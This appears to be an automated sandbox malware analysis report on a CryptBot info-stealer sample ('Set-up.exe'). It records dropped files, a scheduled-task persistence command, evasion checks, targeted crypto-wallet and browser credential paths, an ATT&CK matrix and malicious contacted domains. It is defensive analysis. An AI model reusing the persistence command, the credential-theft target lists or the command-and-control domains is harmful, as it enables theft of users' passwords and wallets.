Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3B7520	4_2_6C3B7520
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2F3580	4_2_6C2F3580
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3535D0	4_2_6C3535D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C2F9790	4_2_6C2F9790
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3517F0	4_2_6C3517F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C323180	4_2_6C323180

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3BE060 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3BDB70 appears 55 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3BFD50 appears 71 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3BDCE0 appears 106 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3B4BD0 appears 65 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C3BFE40 appears 65 times

Source: Set-up.exe

Static PE information: Number of sections : 18 > 10

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/2@1/1

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\wYZaUCGaRz

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\yneBJZQGdgAJyOIYcNTc

Source: C:\Users\user\Desktop\Set-up.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Set-up.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Set-up.exe

ReversingLabs: Detection: 42%

Source: Set-up.exe

String found in binary or memory: /addr_imp

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehmlfmzycqqvkbieuybc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehmlfmzycqqvkbieuybc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehmlfmzycqqvkbieuybc.dll	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Set-up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-up.exe

Static file information: File size 6614719 > 1048576

Source: Set-up.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x476600

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 4_2_004B8370 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

4_2_004B8370

Source: Set-up.exe	Static PE information: section name: /4
Source: Set-up.exe	Static PE information: section name: /14
Source: Set-up.exe	Static PE information: section name: /29
Source: Set-up.exe	Static PE information: section name: /41
Source: Set-up.exe	Static PE information: section name: /55
Source: Set-up.exe	Static PE information: section name: /67
Source: Set-up.exe	Static PE information: section name: /80
Source: Set-up.exe	Static PE information: section name: /91
Source: Set-up.exe	Static PE information: section name: /102
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: ehMlFMzYcqQvKbiEUyBC.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004BB11B push eax; iretd	4_2_004BB171
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C360C20 push eax; mov dword ptr [esp], ebx	4_2_6C360E46
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3C0DD8 push edx; mov dword ptr [esp], edi	4_2_6C3C0FCF
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C37ADC0 push eax; mov dword ptr [esp], ebx	4_2_6C37B19B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C36CF10 push eax; mov dword ptr [esp], ebx	4_2_6C36D180
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C36CF10 push edx; mov dword ptr [esp], ebx	4_2_6C36D19A
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C354F81 push eax; mov dword ptr [esp], ebx	4_2_6C354FA7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C354FE0 push eax; mov dword ptr [esp], ebx	4_2_6C3555D7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C35284A push eax; mov dword ptr [esp], esi	4_2_6C35285B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C386900 push eax; mov dword ptr [esp], esi	4_2_6C3BF741
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3549B0 push eax; mov dword ptr [esp], ebx	4_2_6C354FA7
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C384980 push eax; mov dword ptr [esp], esi	4_2_6C3BF741
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C340A30 push eax; mov dword ptr [esp], ebx	4_2_6C340A44
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C313FBA push eax; mov dword ptr [esp], ebx	4_2_6C3C0B12
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C313FBA push eax; mov dword ptr [esp], ebx	4_2_6C3C0B12
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C342AE8 push edx; mov dword ptr [esp], ebx	4_2_6C342AFC
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C318438 push eax; mov dword ptr [esp], ebx	4_2_6C3C0B12
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C36A470 push eax; mov dword ptr [esp], ebx	4_2_6C36A59D
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C344479 push eax; mov dword ptr [esp], ebx	4_2_6C34448D
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3804B0 push eax; mov dword ptr [esp], ebx	4_2_6C3809D2
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3544AD push eax; mov dword ptr [esp], ebx	4_2_6C3544C1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C338484 push edx; mov dword ptr [esp], ebx	4_2_6C338498
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3524D4 push ecx; mov dword ptr [esp], ebx	4_2_6C352505
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3524CA push ecx; mov dword ptr [esp], ebx	4_2_6C352505
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3565B0 push eax; mov dword ptr [esp], ebx	4_2_6C3565D8
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C3545DA push eax; mov dword ptr [esp], ebx	4_2_6C3545EB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C336667 push edx; mov dword ptr [esp], ebx	4_2_6C33667B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C344669 push eax; mov dword ptr [esp], ebx	4_2_6C34467D
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C35272E push eax; mov dword ptr [esp], ebx	4_2_6C352742
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C386710 push eax; mov dword ptr [esp], esi	4_2_6C3BF741
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_6C358190 push eax; mov dword ptr [esp], ebx	4_2_6C3583DF

Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Set-up.exe	File created: C:\Users\user\AppData\Local\Temp\ehMlFMzYcqQvKbiEUyBC.dll			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Set-up.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_4-163233

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_4-163234

Source: C:\Users\user\Desktop\Set-up.exe

Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Window / User API: threadDelayed 884

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

API coverage: 1.3 %

Source: C:\Users\user\Desktop\Set-up.exe TID: 7408	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7860	Thread sleep count: 884 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7860	Thread sleep time: -88400s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Set-up.exe, 00000000.00000003.2040016353.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.2261326166.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.2261326166.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766684688.000000000131F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Set-up.exe, 00000000.00000003.2040016353.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000002.2261326166.000000000131F000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000000.00000003.1766684688.000000000131F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: Set-up.exe	Binary or memory string: BFastStoneLenovoServiceBridgeVMwareFree_PDF_SolutionsPublicContinuous MigrationSnapshotsSystem Profile

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 4_2_004B8370 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

4_2_004B8370

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B117C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	4_2_004B117C
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B1170 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	4_2_004B1170
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B13D1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	4_2_004B13D1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 4_2_004B11B3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	4_2_004B11B3

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"			Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 4_2_6C374010 cpuid

4_2_6C374010

Source: C:\Users\user\Desktop\Set-up.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 4.2.service123.exe.6c2f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2245373256.0000000003E34000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Set-up.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: service123.exe PID: 7856, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7328, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: #@com.adobe.dunamisMacromediaUserBenchmarkOpera Software\Opera Crypto StableFeedsvivaldi.exeZoomWalletsStreamingVideoProviderBraavos Smart WalletThinkBuzanDRPSuSUPERAntiSpywareDriverPack CloudCacheCode Cacheblob_storagevcpkgIntelexodusexchangeElectrumGraineSearches\ProfilesRoaming\...KeepSolid Incnkbihfbeogaeaoehlefnkodbefgpgknnsollink.txt.rtf.xls.pdf.docXuanZhi9XuanZhiMaxonBlueStacks X
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: VSApplicationInsights\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)productionpreferencespkgsSavesMusic3D Objectsadspower_globalNVIDIA Corporation\Riot Games\ViberPC
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: VSApplicationInsights\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)productionpreferencespkgsSavesMusic3D Objectsadspower_globalNVIDIA Corporation\Riot Games\ViberPC
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: zcodecom.liberty.jaxxDisc_Soft_FZE_LLCwebview2Rockstar GamesCaphyoncwd_globalJavaScriptPCHealthCheck
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: C}%D}Crystal Dynamicsatomic\Storage\Exodus\OneDrive\
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: #@com.adobe.dunamisMacromediaUserBenchmarkOpera Software\Opera Crypto StableFeedsvivaldi.exeZoomWalletsStreamingVideoProviderBraavos Smart WalletThinkBuzanDRPSuSUPERAntiSpywareDriverPack CloudCacheCode Cacheblob_storagevcpkgIntelexodusexchangeElectrumGraineSearches\ProfilesRoaming\...KeepSolid Incnkbihfbeogaeaoehlefnkodbefgpgknnsollink.txt.rtf.xls.pdf.docXuanZhi9XuanZhiMaxonBlueStacks X
Source: Set-up.exe, 00000000.00000000.1658756055.000000000087A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: H11.0.2PhotoWorksFPSChessActivisiondotnetWindows 2000 %wSVirtualBoxsyncpedapocogameLedger Live\microAppsejbalbakoplchlghecdalmeeeajnimhmOpera Beta.androidOpera CryptotdummyemojiEMPRESSTSMonitorBitTorrentBitTorrentHelpermentalmentorwallethtxmetaTaskSchedulerConfigPenWorkspacePlayReadyTreexyWeb DataCookiesbhhhlbepdkbapadjdnnojkbgioiodbicEthereum (UTC)wallet_dat3

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7328, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7328, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	2 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	3 Clipboard Data	112 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-up.exe	42%	ReversingLabs	Win32.Trojan.CryptBot

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
analforeverlovyu.top	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
twelvevh12pt.top	185.244.181.140	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
analforeverlovyu.top	true	URL Reputation: safe	unknown
+twelvevh12pt.top	true		unknown
twelvevh12pt.top	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	Set-up.exe, 00000000.00000003.1809199031.00000000031E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
